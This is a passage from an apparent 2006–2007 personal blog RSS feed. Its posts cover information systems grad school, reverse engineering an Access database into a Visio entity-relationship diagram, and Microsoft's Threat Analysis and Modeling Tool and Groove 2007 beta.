<p>What did I really learn in grad school anyway? I learned a lot, but every class covered, to some degree, entity-relationship diagrams (ERDs), data-flow diagrams (DFDs), and object-oriented diagrams, which can be state charts, class diagrams, and use cases, to name a few. Some classes went so far as to cover the theory behind them. Every class covered the relational database model, which hasn't changed much in thirty years and is still useful and relevant to just about every information system I've ever worked with.</p>

<p>Since IS grad school is part of the business school, we learned to work in teams. It's not about writing code -- it's about finishing projects on time. The funny part is the professors don't teach much about team projects -- they just expect you to manage yourselves.</p>]]></description>
            <link>http://cw.sampas.net/blog/2007/04/i-graduate-from-grad-school-ge.html</link>
            <guid>http://cw.sampas.net/blog/2007/04/i-graduate-from-grad-school-ge.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Grad School</category>
            
            
            <pubDate>Mon, 09 Apr 2007 21:17:13 -0500</pubDate>
        </item>
        
        <item>
            <title>How to Reverse Engineer a Database with Microsoft Visio</title>
            <description><![CDATA[<p>What do we study in Information Systems Grad School? If there's a single topic that comes up in every class, it's databases. If we haven't memorized the first three normal forms by now, we haven't learned much. While few of us will bother going into Boyce-Codd Normal Form, 4NF and 5NF, every specification for a system we write that has a database needs an <a href="http://en.wikipedia.org/wiki/Entity_relationship_diagram">entity relationship diagram</a>. An ERD is a visual representation of your data model, and your data model is probably the single most important part of any system you design. A good data model will survive several major versions of your software; a poor data model will make your system useless. Thus, we spend a lot of time doing data models and documenting them with ERDs.</p>

<p>As much as I love Visio, drawing the things from scratch is somewhat tedious. It's much easier to design and test in Access. (I have it on good authority that even elite Oracle DBAs who hand-tune Solaris for better performance will design and test in Access just because it's easy.) So what do you do when you have a decent test DB in Access and you don't want to diagram every little change in your masterful Visio ERD? Reverse engineer.</p>

<p>In Visio, it's fairly easy, but there are a couple of spots where it doesn't behave as nicely as it should. I'm going to refer to<a href="http://www.microsoft.com/office/preview/beta/getthebeta.mspx"> Visio 2007, still in Beta and free for the download and registration</a>. Visio 2003 is almost the same. Visio 2003 Enterprise Architect Edition will create the database from your diagram, in case you can design an enterprise DB but don't know how to create the tables in SQL. (Not really someone you'd want touching your SQL server.)</p>

<p>1. Open Visio and select New | Software & Database | Database Model Diagram with the units of your choice.<br />
2. Now that you have a database model diagram open, the database menu will appear. Select "Reverse Engineer" off of the database diagram.<br />
3. A confusing dialog box will appear. Use it to verify you have the right drivers installed.<br />
4. For Microsoft Access, choose Microsoft Access as your driver, and hit Next.<br />
5. A username and password dialog box will pop up. Unless you've assigned a username and pw to the database, leave it blank and hit OK.<br />
6. Navigate your filesystem and select your database. Ignore the clunkiness and be grateful that you can see filenames longer than 8.3.<br />
7. When you have found your .MDB file, choose it and hit OK.<br />
8. Select the types of objects you would like to import and hit Next. (No, you don't get stored procedures and triggers in Access, but you would in SQL.)<br />
9. Select the specific tables, queries, etc. you want to see in your diagram and hit Next.<br />
10. Select Yes to add them to your current diagram, and hit Finish. (Select no you have a lot of tables, queries, etc.)<br />
11. You should see your tables in the diagram.<br />
12. To add the crow's feet and cardinality, select options on the database menu. (Database | Options | Document ) <br />
13. You get three sections to change here: The General tab covers symbol sets: IDEF1X or Relational, Conceptual, Physical, both, or names based on symbol set. The table tab lets you display keys, indexes, non keys, and the IDEF1X optionality 0. The relationship tab lets you display relationships (duh), crow's feet, cardinality, and referential actions. You must select cardinality before you select crow's feet. (caridinality gets greyed out when crow's feet is checked.)<br />
14. To update your diagram, select "Refresh Model" on the Database menu...</p>

<p>Now that you can see your  information model, you know why it's messed up. That database that your business/organization/department runs on  -- it's not in any kind of normal form. Or it has about 100 tables more than you thought it should. </p>

<p>The database people in my office have a debate: were the software engineers just trying to make it impossible to wean your organization off of their support, or were they just bad at information modeling?</p>]]></description>
            <link>http://cw.sampas.net/blog/2006/10/how-to-reverse-engineer-a-data.html</link>
            <guid>http://cw.sampas.net/blog/2006/10/how-to-reverse-engineer-a-data.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Exchange - Sharepoint - SQL - AD</category>
            
                <category domain="http://www.sixapart.com/ns/types#category">Grad School</category>
            
            
            <pubDate>Mon, 02 Oct 2006 11:33:57 -0500</pubDate>
        </item>
        
        <item>
            <title>Visit my new Educational Technologies Blog</title>
            <description><![CDATA[<p>Given that I have a new job in education, I started doing a few entries about <a href="http://cw.sampas.net/education">recent developments in education and technology</a>. I use the framework of educational technology to answer President Bush's question, "<a href="http://www.slate.com/id/76886/">Is our children learning?</a>"</p>

<p>At least it explains the dearth of recent posts here.</p>]]></description>
            <link>http://cw.sampas.net/blog/2006/09/visit-my-new-educational-techn.html</link>
            <guid>http://cw.sampas.net/blog/2006/09/visit-my-new-educational-techn.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Grad School</category>
            
            
            <pubDate>Fri, 22 Sep 2006 08:26:34 -0500</pubDate>
        </item>
        
        <item>
            <title>Threat Analysis and Modeling Tool, Office Groove Beta</title>
            <description><![CDATA[<p>Just when I thought I would stop experimenting with new Microsoft products and hunker down into my new job and my capstone project, I find a couple that will save me time and aggravation: <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=334ad466-8b53-4440-8ff0-6ac8142d9198&displaylang=en">Microsoft's Threat Analysis and Modeling Tool</a>. This dot.Net 2.0 application has a wizard to create for us a <a href="http://en.wikipedia.org/wiki/CRUD">CRUD matrix</a>, that will can paste into our system security chapter. A CRUD matrix is simply a table of which users need what kind of access to which tables. It can get more complex if you have column-level security in your database. We don't, so it won't be overly detailed.</p>

<p>The other tool that can save me time, and possibly my group members, is <a href="http://www.microsoft.com/office/preview/beta/getthebeta.mspx">Microsoft's Office Groove 2007 Beta</a>. Like many cool Microsoft products, Groove did not <a href="http://www.kanai.net/weblog/archive/2005/03/11/15h31m47s">originate</a> at Microsoft. Most people I talk to about Groove don't really get what it does, but I blame that more on bad IT and IS metaphors than anything else. Groove is simply a shared workspace where a team can share documents, discussions, and contacts. When you set up Groove, you can set up one or more shared workspaces. You then add specific files to that workspace. Then all your invited and verified team members can access those documents whether you are online or off. No more uploading to Sharepoint or Blackboard, or whatever. You've got anywhere, anytime sharing, provided you have an Internet connection. I have it on my work computer and my home computer and share documents between them without having to email them back and forth. So far, I have no firewall issues either.</p>

<p>What if you want to secure your data and not have it stored on third-party servers? Use Groove Server, and give more money to Microsoft. Before the Office 2007 launch, both Groove and Groove server are free for the download, registration and product keys required. Try it and at least you'll know what people are talking about. The next big thing is enabling teamwork and collaboration and making the world "<a href="http://www.amazon.com/World-Flat-History-Twenty-first-Century/dp/0374292795/sr=8-1/qid=1158236356/ref=pd_bbs_1/104-7245588-7636760?ie=UTF8&s=books">flat<a/>."</p>]]></description>
            <link>http://cw.sampas.net/blog/2006/09/threat-analysis-and-modeling-t-1.html</link>
            <guid>http://cw.sampas.net/blog/2006/09/threat-analysis-and-modeling-t-1.html</guid>
            
                <category domain="http://www.sixapart.com/ns/types#category">Exchange - Sharepoint - SQL - AD</category>
            
                <category domain="http://www.sixapart.com/ns/types#category">Grad School</category>
            
            
            <pubDate>Thu, 14 Sep 2006 08:02:08 -0500</pubDate>
        </item>
        
    </channel>
</rss>
